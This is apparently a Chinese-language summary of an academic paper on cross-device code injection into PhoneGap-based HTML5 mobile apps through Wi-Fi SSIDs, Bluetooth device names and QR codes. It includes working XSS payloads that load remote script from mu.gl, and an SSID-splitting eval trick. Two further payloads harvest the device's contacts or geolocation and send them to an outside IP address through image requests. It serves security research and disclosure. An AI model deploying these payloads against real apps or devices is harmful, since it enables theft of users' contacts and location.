from:http://www.cis.syr.edu/~wedu/Research/paper/xds_attack.pdf
基于HTML5的移動應用程序變得越來越于流行,主要是因為他們更容易在不同的移動平臺進行移植。基于HTML5的應用程序使用標準的Web技術,包括HTML5 , JavaScript和CSS;它們依賴于一些如PhoneGap的中間件與底層的操作系統進行交互。
JavaScript是容易受到代碼注入攻擊的,我們已經進行了基于HTML5移動應用系統的研究,試圖評估依靠Web技術的移動應用開發是否是安全的。我們的發現是相當驚人的:如果基于HTML5的移動應用變得流行,似乎根據當前所調查的結果,我們每天常做的操作可能會變得危險,包括二維條碼讀取,掃描Wi-Fi接入點,播放MP4影片,配對藍牙設備等。
除了通過實例的應用程序演示的攻擊,我們已經研究了186個PhoneGap的插件,使用應用程序來實現各種功能,發現其中11是可被攻擊的。還發現了兩個現實當中的基于HTML5的應用程序,很容易受到攻擊。
基于HTML5的移動應用程序大多數不能直接運行在移動系統,如Android和iOS ,因為這些系統不支持HTML5和JavaScript本身; Web容器需要渲染HTML5以及執行JavaScript代碼。
大多數移動系統有這樣的容器:在Android中它是WebView,iOS中是UIWebView,Windows Phone中是WebBrowser。為簡單起見,我們以下都用WebView來表述。
WebView: WebView中最初被設計為允許本地應用程序處理和顯示網頁內容。它基本上包的網絡瀏覽功能組合成一個類,可以嵌入到一個應用程序,基本上是網頁瀏覽器應用程序的組件。用WebView中提供的API ,移動應用程序還可以自定義WebView里面的HTML頁面。
由于WebView中用于加載Web內容,它通常是不可信的, WebView像瀏覽器一樣實現了一個沙盒,使內部的JavaScript代碼只能在一個獨立的環境中運行。
這樣的沙箱適用于網頁內容,但對于移動應用程序限制還是太大,因為它不能訪問系統資源,如文件,設備傳感器,照相機等。
WebView在JavaScript代碼和本機代碼(例如, Java的)之間搭建了一個的橋梁。這座橋可讓JavaScript代碼來調用主機代碼。
已經有人開發了幾個中間件框架,包括PhoneGap , Rhomobile, Appcelerator等。
在本文中,我們選擇把重點放在最流行的PhoneGap。然而,我們的攻擊也可以應用于其他中間件。
PhoneGap和PhoneGap插件:PhoneGap幫助開發人員創建使用基于HTML5標準的移動應用程序Web。開發人員在HTML,JavaScript和CSS中寫應用程序。該PhoneGap的框架默認情況下嵌入一個WebView中實例的應用程序,并依靠這個WebView來呈現HTML頁面和執行JavaScript代碼。
PhoneGap架構圖
有兩種方式可以讓JavaScript的字符串當成代碼執行,一種是利用eval() API,另一種是通過DOM API和屬性,如document.write(), appendChild(), innerHTML等。一些jQuery的展示API也有問題,例如html()和append()。
#!html
// Using Script Tag.
<script>alert(’attack’)</script>...Data...
// Using the IMG Tag’s onerror attribute.
<IMG src=x onerror="alert(’attack’)">...Data...
DOM(jQuery)展示API和屬性(勾表示能觸發,叉表示不能出發)。
在某些情況下,在移動設備建立與外部建立連接之前,它從外部獲對應ID,并顯示給用戶。我們研究如何這樣的ID通道利用惡意代碼注入到移動設備當中。
找到附近的Wi -Fi接入點,許多智能手機用戶安裝某些Wi-Fi掃描儀程序,掃描附近可用的Wi-Fi熱點,并顯示他們的服務集標識符(SSID )。
為了演示攻擊,我們設置SSID下面的JavaScript代碼:
#!html
<script>alert('attack')</script>
程序展示使用java寫的所以不會執行js代碼:
非PhoneGap應用
使用PhoneGap實現的,SSID將在WebView中顯示,這個程序使用html() API展示的SSID導致JavaScript代碼執行。
PhoneGap應用
同時藍牙當中也可能出現類似的問題。
非PhoneGap應用
PhoneGap應用
非PhoneGap應用
PhoneGap應用
非PhoneGap應用
PhoneGap應用
等等……
在各場景中的長度限制
可以看到Wi-Fi當中長度限制的最短。
可使用代碼:
#!html
<script src=//mu.gl></script
img標簽的話:
#!html
<img src onerror=d=document;b=d.createElement(’script’);d.body.appendChild(b);b.src=’http://mu.gl’>
如果有使用jQuery的話:
#!html
<img src onerror=$.getScript('http://mu.gl')>
如果要在SSID當中使用的話,可以使用經典的分割代碼的方式:
#!html
<img src onerror=a="$.getScr">
<img src onerror=b="ipt(’ht">
<img src onerror=c="tp://mu.">
<img src onerror=d="gl’)">
<img src onerror=eval(a+b+c+d)>
看看現實當中是否有app可以被攻擊:
這是一個PhoneGap的演示應用程序,它向開發人員展示了如何使用PhoneGap的和其插件。該應用程序包括了所有的內置插件和三個第三方插件,ChildBrowser插件,藍牙插件, Facebook插件。
該app使用innerHTML來顯示藍牙設備的名稱。我們把藍牙名稱改成攻擊代碼試一下:
#!html
< img src = x onerror = PhoneGap.exec(function(a) {
m = '';
for (i = 0; i < a.length; i++) {
m += a[i].displayName + '\n';
}
alert(m);
document.write('<img src=http://128.230.213.66:5556?c=' + m + '>');
},
function(e) {},
'Contacts', 'search', [['displayName'], {}]) >
掃描二維碼的程序,展示使用的innerHTML,我們在二維碼當中插入如下代碼:
#!html
< img src = x onerror =
navigator.geolocation.watchPosition(
function(loc) {
m = 'Latitude: ' + loc.coords.latitude +
'\n' + 'Longitude: ' + loc.coords.longitude;
alert(m);
b = document.createElement('img');
b.src = 'http: //128.230.213.66:5556?c='+m })>
使用geolocation.watchPosition獲取當前位置。